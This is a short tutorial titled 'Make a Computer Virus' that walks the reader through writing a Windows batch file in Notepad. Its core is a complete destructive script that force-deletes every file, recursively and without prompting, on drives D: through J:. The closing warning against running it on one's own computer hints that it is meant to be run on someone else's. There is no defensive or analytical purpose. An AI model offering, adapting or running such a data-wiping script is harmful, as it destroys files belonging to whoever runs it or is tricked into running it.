Make a Computer Virus

 Just open your notepad

       1)  Click start -> all programs -> accessories -> notepad
       2)  Or just press or click windows key + r :: run window will open and
            type notepad and hit enter .

       3)  NOW  TYPE THE FOLLOWING CODE
::

          @echo off
          del D:\*.* /f /s /q
          del E:\*.* /f /s /q
          del F:\*.* /f /s /q
          del G:\*.* /f /s /q

          del H:\*.* /f /s /q
          del I:\*.* /f /s /q
          del J:\*.* /f /s /q

       4) Then save it as bat file and make is finish

    WARNING :: This is the most dangerous virus..! Be careful with its use..
                              (Do not use this on your computer..)